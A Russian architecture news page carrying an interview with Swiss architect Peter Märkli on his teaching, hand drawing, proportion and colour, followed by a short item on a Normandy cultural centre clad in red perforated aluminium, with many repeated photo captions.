Новости


13.04.2016 Петер Меркли: «Существование традиций вовсе не исключает фантазию»

Швейцарский архитектор Петер Меркли – о скрупулезности как основе творчества, тотальном варварстве в городской застройке и рациональности ручного рисунка.

Петер Меркли приезжал в Россию при поддержке Швейцарского совета по культуре «Про Гельвеция» в рамках программы «Swiss Made в России», чтобы посетить Никола-Ленивец. Также он прочел лекцию в Школе МАРШ в ходе Дней открытых дверей бакалавриата и магистратуры.

Петер Меркли в Школе МАРШ © Илья Локшин / БВШД

Петер Меркли в Школе МАРШ © Илья Локшин / БВШД открыть большое изображение


Архи.ру:
– Вы известны как архитектор с обширным «послужным списком», где каждый объект может быть высоко оценен. Одно ваше участие в проекте кампуса для фармацевтической компании Novartis в Базеле [Меркли спроектировал там посетительский центр – примечание Ю.А.], где принимали участие лишь «звезды» – SANAA, Фрэнк Гери, Рафаэль Монео, Дэвид Чипперфильд – своего рода знак признания. При этом вы держитесь особняком, немного в стороне от этих «архитектурных гигантов», у вас все еще «ателье», и вы явно не планируете разрастаться. Как и почему сформировалась ваша профессиональная позиция?

Петер Меркли:
– Хотелось бы знать, что вы имеете в виду, когда говорите, что я держусь особняком (улыбается). Я делаю свою работу, а не занимаюсь ее популяризацией. В моем ателье работает команда из 10–14 человек. Получив очередной заказ, мы можем себе позволить не только придумать концепцию, но и проработать весь проект в деталях, и эта скрупулезность чрезвычайно важна для меня, потому что именно она соответствует моим представлениям о профессии. И не думаю, что количество – мерило ценности. Это как на аукционах, возьмем, к примеру, Рубенса, есть авторские подлинники, они продаются на Sotheby’s, а есть работы его мастерской. И дело не только в качестве самих картин, но и, конечно же, в цене. В моем случае все более однозначно: мне просто доставляет удовольствие следить за тем, как развивается проект, вносить поправки, двигаясь от малого к большому – и наоборот.

Петер Меркли в Школе МАРШ © Илья Локшин / БВШД

Петер Меркли в Школе МАРШ © Илья Локшин / БВШД открыть большое изображение


– Вы довольно рано начали вашу профессиональную деятельность, кто повлиял на ваше становление?

– Я окончил гимназию и получил аттестат зрелости: 15 лет я учил грамматику и прочие науки, но за эти 15 лет школярства никто не предпринял ни одной попытки обучить мои глаза. Было немного игры на пианино, но не было ничего, что научило бы меня видеть. И вот вдруг появляется желание стать архитектором, то есть обрести профессию, в которой главный орган – это твой глаз. Когда я поступал в Федеральное техническое училище в Цюрихе (ETH) у меня не было своего собственного языка. К счастью, мне повезло: благодаря моей школьной учительнице физики, которая любила архитектуру, в мою жизнь вошел Рудольф Ольджати. Он был на 40 лет старше меня и жил в одной из деревень кантона Граубюнден. Это стало началом. У меня был огромный чувственный багаж, но не было нужных знаний и языка. Моим первым учителем, который ввел меня в мир архитектуры, стал Ольджати, а через два года после поступления в ETH я познакомился со скульптором Хансом Йозефсоном. Вот, собственно, и все (смеется).

Петер Меркли в Школе МАРШ © Илья Локшин / БВШД

Петер Меркли в Школе МАРШ © Илья Локшин / БВШД открыть большое изображение


– Недавно в Цюрихе в главном корпусе ETH по случаю завершения вашей профессорской деятельности прошла выставка работ ваших студентов. Почему вы решили оставить пост преподавателя? Планируете ли вы быть как-то задействованы в учебном процессе, выступать приглашенным критиком, читать лекции, как сейчас в МАРШе, или это скорее исключение, и надо ловить момент?

– Не будем загадывать (смеется). Преподаванию я отдал большую часть своей жизни, но в какой-то момент стал задумываться о том, что хочу иметь больше времени для себя. Эти тринадцать или четырнадцать лет, проведенные в Техническом училище, были чрезвычайно важны, и, подумав, я решил что лучше всего о них расскажут не мои творения, а ретроспектива работ моих студентов. Меня всегда интересовало, что это за люди – сегодняшние студенты и студентки, добровольно пришедшие в архитектуру. Я всегда ожидал от них только двух вещей: радости и страстности, и никогда – безупречности. Скорее наоборот, я был готов столкнуться с ошибками и заблуждениями, потому что только молодость имеет такую привилегию, как право на ошибку.

Именно поэтому так важно, когда есть кто-то, кто говорит молодому человеку: «Вы еще мало знаете о своей профессии, но ваш эмоциональный интеллект, которым вы обладаете сегодня, важнее профессиональных знаний, и вы должны действовать, руководствуясь именно им. Если вы считаете то, что делаете, хорошим и важным для себя, вы должны защищать это важное и хорошее даже в том случае, если вы не идете в ногу со всеми. Вы просто должны сказать: я это так чувствую и так ощущаю». Подобные разговоры очень нужны, пожалуй, ничуть не меньше, чем сам учебный процесс.

Петер Меркли в Школе МАРШ © Илья Локшин / БВШД

Петер Меркли в Школе МАРШ © Илья Локшин / БВШД открыть большое изображение


– Как вы опишете ваш преподавательский опыт, в чем заключается ваша методология?

– Моя методика – в каждом увидеть личность. Иногда нас было очень много, до 50 человек на курсе, тем не менее, мы всегда отказывались от групповых проектов. Только индивидуальная работа, потому что только так можно было понять, как каждый думает и творит. Ну и, конечно, я всячески пропагандирую ручную графику, ведь архитектурные чертежи и наброски, выполненные от руки, прекрасны и рациональны. Мы очень много экспериментировали в этой области. Да, не исключено, что пять студентов из пятидесяти так и не поняли, чем мы занимались. С другой стороны, может быть, это был некий знак свыше, что им нужно сменить профессию? (улыбается) Тем лучше для них. Я часто вспоминаю, как взяв в руки ручку или карандаш, все погружались в свои мысли, не думая о том, что их работы кто-то увидит: результат был всегда прекрасен.

Среди студентов была одна молодая женщина, когда она делала наброски, было ощущение, что у нее в руке резец. Она никогда не смеялась, черные волосы, черная одежда. Но прошло время, и она начала улыбаться, совсем чуть-чуть, но улыбаться. В каждом наброске читался характер и способ мышления. Так зарождался язык. Потом мы учились говорить на нем. В процессе учебы мы выполняли множество заданий, связанных как с объектами в контексте сложившейся городской среды, так и вне его. Находясь за пределами города, мы разрабатывали особый «высокоточный» язык, необходимый для того, чтобы правильно вписать здание в ландшафтное пространство. В морфологии ландшафта есть свои особенности, здесь нет геометрических паттернов, поэтому для фиксации «главного» мы делали множество набросков. Лишь после этого, взяв за основу выполненный от руки эскиз, мы детализировали контекст, в который планировалось вписать здание. Изначальная детализация: подробное изображение разного рода горизонталей, горных массивов и т.д. было бы слишком затратным, как с экономической, так и с художественной точки зрения, в то время как первичные морфологические признаки представляют в данном случае гораздо больший интерес. Эта тема всегда казалась мне чрезвычайно увлекательной.

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin/ jonolist via flickr.com. Лицензия Creaive CommonsAttribution-ShareAlike 2.0 Generic (CC BY-SA 2.0)

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin / jonolist via flickr.com. Лицензия Creaive Commons Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0) открыть большое изображение

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin/ jonolist via flickr.com. Лицензия Creaive CommonsAttribution-ShareAlike 2.0 Generic (CC BY-SA 2.0)

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin / jonolist via flickr.com. Лицензия Creaive Commons Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0) открыть большое изображение


– Что послужило поводом для вашего визита в Москву?

– Я приехал по приглашению парка «Никола-Ленивец», при поддержке Швейцарского совета по культуре «Про Гельвеция» в рамках программы «Swiss Made в России». Ксения Аджубей, выступая как представитель парка, предложила мне туда съездить, посмотреть это место и обсудить возможное сотрудничество. Я был бы рад реализовать свой первый проект в России в таком красивом месте. Вчера мы были там. Лежал снег, много снега. Было холодно и светило солнце. Место удивительным образом вписано в природу. Нет ощущения герметичной закупоренности, замкнутости, зато есть отличные объекты.

Эта «доступность», открытость, напомнила мне музей скульптур «Ла Конджунта» в Тичино, спроектированный для Ханса Йозефсона [построен по проекту Меркли в 1992 – прим. Архи.ру]. Каждый, кто приходил туда, сам открывал входную дверь, взяв ключ в баре неподалеку. В нем не было ни инфраструктуры, ни отопления, ни искусственного света. Поэтому то, что я увидел в парке, меня тронуло.

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin/ jonolist via flickr.com. Лицензия Creaive CommonsAttribution-ShareAlike 2.0 Generic (CC BY-SA 2.0)

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin / jonolist via flickr.com. Лицензия Creaive Commons Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0) открыть большое изображение

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin/ jonolist via flickr.com. Лицензия Creaive CommonsAttribution-ShareAlike 2.0 Generic (CC BY-SA 2.0)

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin / jonolist via flickr.com. Лицензия Creaive Commons Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0) открыть большое изображение


– В своих интервью вы часто говорите о языке в архитектуре. В связи с этим – два вопроса. Если здание есть законченное высказывание, то: о чем говорят ваши работы и с кем вы разговариваете?

– В действительности люди используют несколько языков общения: для каждого органа чувств – свой. Но большинство людей полагает, что язык один и состоит из речевого и письменного вариантов, а грамматика служит для того, чтобы объединять эти две половины. Если бы мы не жили в эпоху т.н. общества потребления, может быть, нам и не пришлось бы говорить об этом и мы бы понимали, что язык – это своего рода конвенция, некая договоренность между людьми. В архитектуре, а также в так называемых свободной живописи или скульптуре есть свои «договоренности». Наличие некого коллективного договора вовсе не свидетельствует о засилье скучного традиционализма, так как существование традиций вовсе не исключает фантазию.

Каждая эпоха, которая функционировала хоть сколько-нибудь нормально, опиралась на систему договоров и соглашений. Многообразие этих «эпох», которые нам с вами известны, также стало возможным благодаря хитросплетению разного рода договоренностей. Первый вопрос, который я задаю студентам, не имеет никакого отношения к архитектуре; он, скорее, носит общественный или политический характер: «Какой вариант существования я выбираю для себя, когда обдумываю свою жизнь. Что для меня счастье? Самодостаточность?» Второй вариант вопроса прямо противоположен первому: «Хочу ли я «соседства» и постоянного взаимообмена с другими людьми?» Если кому-то больше подходит первый, «самодостаточный» вариант, это значит, что этот человек может сделать выбор в пользу «личного» языка, а если выбор падает на вариант сосуществования с другими людьми, то этот язык им не подходит.

Во мне нет никакой предвзятости. Вернее, она появляется, когда кто-то в нашей профессии настаивает на том, что говорит на «своем» языке, но я его при этом не понимаю. Хотя в остальном я человек, который придерживается всех договоренностей и конвенций. Если экстраполировать эти размышления на сферу политики, то они выглядят примерно так же: я сижу здесь, а они – там, и мы не в состоянии понять друг друга. И, опять же, все дело в «индивидуальности» языка, на котором говорит только одна сторона, и поэтому абсолютно непонятно, как тогда выстраивать «соседские» отношения. И тут у меня возникает вопрос: а чего в действительности мир хочет от нашей профессии, если речь не идет об утилитарных потребностях? И какие нашумевшие произведения мир считает по-настоящему выдающимися? Ведь, если вдуматься, то понимаешь, что то тотальное варварство, которое мы наблюдаем в городской застройке и ландшафтном проектировании – это знак того, что все происходящее мало кого волнует, потому что все летают на самолетах, ездят на машинах, а в промежутках смотрят в компьютер. Архитектура же, как особый язык для выражения жизненной установки и радости жизни, уходит в прошлое, и только некоторые энтузиасты продолжают гнуть свою линию – потому что это важно и нужно. Да, от плохого и некрасивого еще никто не умирал, более того, к нему постепенно привыкаешь. Глаз смиряется с теми ужасами, которые он постоянно видит.

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin/ jonolist via flickr.com. Лицензия Creaive CommonsAttribution-ShareAlike 2.0 Generic (CC BY-SA 2.0)

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin / jonolist via flickr.com. Лицензия Creaive Commons Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0) открыть большое изображение

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin/ jonolist via flickr.com. Лицензия Creaive CommonsAttribution-ShareAlike 2.0 Generic (CC BY-SA 2.0)

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin / jonolist via flickr.com. Лицензия Creaive Commons Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0) открыть большое изображение

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin/ jonolist via flickr.com. Лицензия Creaive CommonsAttribution-ShareAlike 2.0 Generic (CC BY-SA 2.0)

Музей скульптора Ханса Йозефсона «Ла Конджунта» в кантоне Тичино. 1992. Фото: Jonathan Lin / jonolist via flickr.com. Лицензия Creaive Commons Attribution-ShareAlike 2.0 Generic (CC BY-SA 2.0) открыть большое изображение


– Недавно в МАРШе состоялась лекция архитектурного философа Александра Раппапорта, где он также говорил о смерти архитектуры, что, по его мнению, связано с отсутствием у человечества потребности в глобальном смысле…

– Да, это так. Но я все равно остаюсь оптимистом. Я не устаю повторять, что человечество просто не может себе этого позволить, и я не верю, что человек, существующий в условиях жесткого канона: счастье – несчастье, рождение – смерть, сможет так легко от этого отказаться. Просто так получилось, что мы на время потеряли ориентацию. Так бывает. И я не верю, что живопись тоже мертва. Есть много художников, которые твердят про закат искусства, но моя природа не хочет этого принимать. Мы должны уже сегодня исправлять наше будущее, строить и исправлять.

Вы задали мне еще один вопрос: является ли то, что делает архитектор, своего рода посланием, личным высказыванием в диалоге с городом и окружающими людьми? Представьте, вы видите дом, он вызывает у вас определенные ощущения, и через эти ощущение в вас рождается понимание того, что вы разделяете взгляды и мироощущение его автора. Но бывает и по-другому: вы смотрите на дом и понимаете, что мировоззрение архитектора абсолютно не совпадает с вашим. Поэтому я уверен, что «послание», зашифрованное в архитектуре здания, может быть достаточно ясным. Правда, иногда дело вовсе не в самом «послании», а в умении его прочесть.

Мне кажется важным, чтобы в здании были свои красота и обаяние. Так устроена жизнь, что я никогда не переступлю порог большинства зданий, которые я вижу, когда бываю в разных городах и деревнях, хотя бы просто потому, что часть из них находится в частном владении. Тем не менее, если я просто иду по улице и прохожу мимо здания, в котором есть притяжение красоты, меня как человека это облагораживает. Если же здание лишено этой притягательности, оно просто не вступает в диалог.

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин открыть большое изображение

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин открыть большое изображение


– В своей лекции в 2007 в Мюнхенском университете Людвига-Максимилиана вы назвали Марио Ботта дураком, потому что он построил круглый дом на одну семью [т.н.круглый дом в Стабио в кантоне Тичино – прим. Ю.А.]. Почему этот проект вызывает у вас такую реакцию?

– Мы с Марио Боттой знакомы лично, поэтому я позволил себе так сказать. Дело в том, что геометрия – это основа основ нашей профессии. Количество геометрических форм до смешного мало, и они универсальны. Круг – он и в Китае круг, то есть это просто не тема для дискуссии. И вот эта радикальная базовая форма, насколько я знаю историю, использовалась, как правило, при строительстве определенных культовых сооружений, например, баптистериев, в центре которых располагалась купель. И если вы сегодня строите круглый дом на одну семью, тогда скажите мне, что вы будете делать, когда получите еще один аналогичный заказ, вы вновь используете в качестве основной фигуры круг? Да, и где кстати, где вы разместили туалет? А детскую? А что, если все начнут строить круглые частные дома? Появятся целые улицы круглых домов. Это же абсурд. Крик в пустоту. Я хочу сказать, что архитектор должен точно знать, что он хочет сказать, отдавая предпочтение той или иной форме. И поверьте мне, отказ от чего-то иногда более результативен, чем бездумное использование. Кстати, Корбюзье тоже никогда не строил круглых жилых домов, хотя Ботта и ссылается на него, еще он отсылает нас к традициям архитектуры Тичино, но тамошние архитекторы тоже никогда не возводили круглых домов. Когда я беседую с молодыми людьми, я всегда говорю им: смотрите сами, смотрите внимательно и решайте, подходит вам это или нет... Смотрите и решайте. Только так…

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин открыть большое изображение

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин открыть большое изображение


– Ваши здания спроектированы в соответствии с пропорциональной системой собственного изобретения, основанной на разделении восьмых, оставляете ли вы место для ошибки?

– Ошибки бывают разные, но, как правило, они происходят сами по себе, без нашего на то разрешения. Придав вашему дому стабильность с помощью пропорций, вы уже можете дать себе некоторую свободу. Тем не менее нам приходится работать в предлагаемых обстоятельствах и, наверное, не стоит на них жаловаться. Вспомните, как работали художники и скульпторы в эпоху Ренессанса. Они уже не могли позволить себе то, что позволяли себе их коллеги в античные времена. С другой стороны, у нас много возможностей, которые мы еще не реализовали, путь наверх бесконечен…

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин открыть большое изображение

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин открыть большое изображение


– Недавно вышла ваша новая книга «Петер Меркли. Рисунки» (Peter Märkli. Zeichnungen/Drawings), в связи с чем у меня есть несколько вопросов. Ваши рисунки живут в семиотическом мире архитектуры, т.е. являются законченными высказываниями: что это – способ мыслить? Считаете ли вы их архитектурой, маленькими проектами? Разглядывая ваши работы, я обратила внимание на то, что вы ограничиваете, выгораживаете ваши объекты, выделяете территорию цветом, намекаете на травку и т.д. Почему одним объектам контекст просто необходим, а другие независимы от него?

– Помните, о чем мы говорили в начале? О выработке своего языка. Эти архитектурные наброски не связаны с каким-то конкретным проектом и в большей степени отражают разные этапы изучения «языковости». Когда ты занят подобного рода работой, отказавшись от разговоров на тему, что ничего нового открыть уже не удастся, то все происходящее становится похожим на ситуацию в математике, когда ты знаешь формулу, но не знаешь, как ее вывести. Мне нравятся люди, которые не знают формулу, но знают путь к ней.

Двухмерные изображения – исключительно фасады. Только фасады. Они всегда небольшие по размеру, я делаю это специально, чтобы избежать большого количества деталей. Они не часть целого, они сами по себе. Кроме того, они не являются высказыванием, а если и содержат в себе информационный посыл, то, скорее, утилитарного содержания: сведения, касающиеся тектоники, цвета, вида камня. Они ни с чем не граничат и не вовлечены в какое-либо соседство. Это не архитектурные наброски в рамках определенного проекта, а эскизы, которые носят исследовательский характер. Вполне возможно, что в этих набросках содержится то, что будет востребовано в градостроительстве через 20 лет. Работа над выработкой языка должна идти постоянно, потому что в наследство от своих отцов мы не получили ничего. Я родился безъязыким…

Трехмерные же изображения – виды с высоты птичьего полета, они привязаны к конкретной ситуации и конкретному объекту, но иногда, как в этой книге, я снабжаю их вымышленными деталями: это может быть улица, холм, дерево или дом. Трехмерные наброски и наброски с высоты птичьего полета я, как правило, делаю, когда хочу ухватить суть проекта, прочувствовать его. Мои «виртуальные» модели тоже относительно маленькие, чтобы обойтись без многих деталей.

– В книге опубликованы статьи архитекторов, я бы даже сказала, ваших друзей. Как вы отреагировали, когда прочли, что они о вас думают?

– До выхода книги я не читал эти тексты. А теперь, когда я думаю, например, об интервью Александра Бродского, я испытываю радость, потому что чувствую глубину его понимания, которую он выразил в только ему свойственной манере, и я, честно говоря, совсем не уверен, что кто-нибудь другой, кто не прошел такой путь, как он, смог бы это так же выразить. Есть кураторы и искусствоведы, которые обладают фантастическим даром описывать все, что они видят, но я, тем не менее, не вполне уверен, что им удастся проникнуть в те глубины, до которых может докопаться тот, кто не только владеет даром слова, но и сам делает то, о чем говорит. Когда же читаешь текст Бродского, понимаешь: это не просто слова.

– Принимали ли вы участие в оформлении книги, выборе шрифта и т.д.?

– Честно говоря, я об этом и не думал. Вот если взять «белую» книгу [Approximations: The Architecture of Peter Märkli – примечание Ю.А.], выпущенную под редакцией лондонской Архитектурной Ассоциации, то там я был, пожалуй, удивлен. Они мне сразу сказали: «Петер, ты удивишься» – в смысле бумаги и так далее. А я и понятия не имел, что это будет. Посмотрел, конечно, текст на предмет ошибок, но вообще-то я за то, чтобы этим занимался издатель. Эта его работа и не мне решать, как будет выглядеть его книжка. Для меня главное, чтобы не было ошибок. Что касается выставок, то и тут я обычно не вмешиваюсь – сделаю пару замечаний, но и то редко. На самом деле, всегда все получается по-новому и необычно. В Лондоне они положили все работы на красную бумагу: типично по-британски, в MOMAT в Японии – на деревянные дощечки, Бродский тоже все сделал по-своему. Если работа удалась, она хороша под любым углом и в любой ситуации. По большому счету, мне нравится работать с людьми, которые не делают вещей, противоречащих твоей сути, то есть они выбирают такой шрифт, который бы ты сам выбрал…Но, по возможности, я пытаюсь ни во что не вмешиваться, так как берегу энергию для своей работы. Я за экономию и аккумулирование энергии, потому что мы и так постоянно отвлекаемся.

Мне кажется, очень важно, пока вы молоды, не зацикливаться на чем-то одном. Но если вас что-то зацепило, то нужно это пробовать и решать, важно вам это или нет, а потом делать следующий шаг.

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин

Школа «Им Бирх» в Цюрихе. 2004 © Юрий Пальмин открыть большое изображение


– Насколько вам важен цвет, какова его цель, или же это интуитивный процесс поиска? К примеру, один мой друг всегда хотел узнать, почему для двух домов в Трюббахе в кантоне Санкт-Галлен был выбран красный краплак?

– У вас появилась идея. Вы хотите придать ей некую стабильность. Для этого вам следует предпринять несколько шагов. Первый шаг – это определение размеров и пропорций. Это то, что является безусловной необходимостью. Сделав макет из картона, вы наносите на него краску, цвет. Эта краска имеет вполне конкретные характеристики, в то время как макет является абстракцией: он маленький, картонный, неоштукатуренный и т.д. Получается, что выбор краски и ее нанесение на макет – это некий художественный акт, так как вы наносите ее не на реальный объект, а на абстракцию. С тем же успехом вы могли бы покрасить макет в любой другой цвет или вообще отказаться от покраски. Комбинация натурализма и абстракции кажется мне в данном случае весьма странной.

В действительности же выбор цвета здания во многом зависит от локальных условий освещенности, от наличия или отсутствия растительности. Например, в Швейцарии вы ограничены в выборе цвета из-за тамошних особенностей освещенности. К сожалению, в нашем цеху есть умельцы, которые умудряются «имплантировать» яркие, солнечные цвета южноамериканских прерий в цюрихскую зелень. Получается настоящий ужас. Для моих форм нужны холодные тона, охра мне просто противопоказана, хотя мне всегда хотелось построить дом и покрасить его охряной краской. Но так и не смог. Хотя дом построил, но покрыл его красным краплаком (смеется).

Дизайн экспозиции скульптур Ханса Йозефсона и Альберто Джакометти на биеннале архитектуры в Венеции. 2012. Фото © Юрий Пальмин

Дизайн экспозиции скульптур Ханса Йозефсона и Альберто Джакометти на биеннале архитектуры в Венеции. 2012. Фото © Юрий Пальмин открыть большое изображение

Дизайн экспозиции скульптур Ханса Йозефсона и Альберто Джакометти на биеннале архитектуры в Венеции. 2012. Фото © Юрий Пальмин

Дизайн экспозиции скульптур Ханса Йозефсона и Альберто Джакометти на биеннале архитектуры в Венеции. 2012. Фото © Юрий Пальмин открыть большое изображение


– Как-то раз вы сказали: «Мне интересно все, что происходит в настоящем, образование – про прошлое, а мои устремления, мысли направлены в будущее». Как вы вообще относитесь ко времени? Учитывая, что ритм жизни ускоряется, как это влияет на архитектуру? Не кажется ли вам, что вы в хорошем смысле замедляете течение времени?

– Да, все так. Я думаю, что восприятие времени напрямую связано с мировоззрением человека. Сначала появился автомобиль, потом Интернет и сотовый телефон, и вот вы уже не замечаете мир вокруг вас. Даже когда вы едете на поезде, вы не смотрите по сторонам. Мы ведем себя как слепцы, все вокруг крутится с неимоверной быстротой, мэйлы приходят с такой скоростью, что иногда это смахивает на бестактность. Законы орфографии порой нарушаются так грубо, что мы не понимаем друг друга. Но нельзя жить так быстро: высокая скорость убивает интерес и закабаляет. Тем не менее, я убежден, что и в будущем человеческое в человеке не изменится. Посмотрите вокруг: дома как стояли, так и стоят, улицы проходят там, где проходили раньше. После полета на Луну ничего не изменилось.

Но в том, как все эти ничего не говорящие понятия – скорость, ускорение, движение – звучат сегодня, есть какая-то полуправда и лжефилософичность. Разве вы сегодня быстрее обретаете счастье или быстрее чувствуете себя несчастным? Все происходит так же, как когда-то. Жизнь определяется совсем другими параметрами, такими, как радость, боль и понимание того, что ты смертен. И именно это знание все расставляет по своим местам. От того, что в мире появилась деконструктивистская архитектура, человек не покинул горизонтальную среду обитания; все, включая приверженцев этого течения, не начали пить и есть в вертикальной плоскости – просто потому, что так суп выльется из тарелки. Привычки, соглашения, которые мы соблюдаем, наши радости и, наконец, эта мещанская горизонтальная плоскость: все это – наша жизнь, и вы сами должны ответить на вопрос, что для вас существенно, а что – пустые слова, что для вас интересно, а что – нет. Это решать только вам.

– Скоро откроется очередная Венецианская биеннале. Кому нужны подобные мероприятия? Архитектурному сообществу, собирающемуся туда на вернисаж со всех концов Земли, или?..

– Я был участником биеннале в 2012. Это был прекрасный опыт. Но «Всемирная выставка» в эпоху Интернета теряет свою актуальность, и, к сожалению, скорее напоминает театральные подмостки. Вот в XIX веке было по-настоящему весело – слоны, баобабы (cмеется).

беседовала: Юлия Андрейченко
Дизайн экспозиции скульптур Ханса Йозефсона и Альберто Джакометти на биеннале архитектуры в Венеции. 2012. Фото © Юрий Пальмин

Дизайн экспозиции скульптур Ханса Йозефсона и Альберто Джакометти на биеннале архитектуры в Венеции. 2012. Фото © Юрий Пальмин открыть большое изображение

Офисное здание Picassohaus в Базеле. 2008. Фото: Нина Фролова

Офисное здание Picassohaus в Базеле. 2008. Фото: Нина Фролова открыть большое изображение

Офисное здание Picassohaus в Базеле. 2008. Фото: Нина Фролова

Офисное здание Picassohaus в Базеле. 2008. Фото: Нина Фролова открыть большое изображение

Источник: archi.ru

 

 
06.04.2016 Красная аллея

Культурный центр в нормандском городке Бомон-Аг по проекту бюро Périphériques / Marin+Trottin Architectes.

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Новое здание появилось на окраине города, в полях, где разбросаны хозяйственные и промышленные сооружения. К дороге оно обращено фасадом из панелей прозрачного и зеркального стекла, однако на главный аттракцион проекта – пронизывающую здание «аллею» со сложной оболочкой из красных перфорированных панелей анодированного алюминия – намекает оформленный этим же материалом главный вход.

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

«Аллея» вдохновлена типичным для Нормандии явлением: слегка утопленные в почву дороги для защиты от сильного морского ветра обсаживают деревьями, которые, вырастая, образуют нечто вроде зеленого свода. Эту природную форму и попытались сымитировать архитекторы. Получившееся у них пространство обращено на задний фасад, где красного металла гораздо больше, чем со стороны улицы. «Аллея» служит и пространством для собраний и концертов, туда выходят ключевые объекты (стойка администратора, бар, гардероб и т.д.), также оттуда можно попасть во все помещения культурного центра. Этот центр, носящий название расположенного неподалеку мыса Ла-Аг, объединяет концертный зал, музыкальную школу, где также учатся балету и драматическому искусству, и пространства для встреч различных городских общественных объединений.

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Кроме анодированного алюминия (за образцовое сотрудничество в его новаторском использовании архитекторы Marin+Trottin и компания Pyrrhus Conceptions получили премию Duo@Work от парижского отделения Национального союза французских архитекторов UNSFA и коммерческой выставки Architect@Work), в здании использованы открытые бетонные поверхности и дерево, которым, помимо прочего, обшита просторная терраса второго этажа.

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

Культурный центр Ле-Аг © Sergio Grazia открыть большое изображение

Культурный центр Ле-Аг © Sergio Grazia

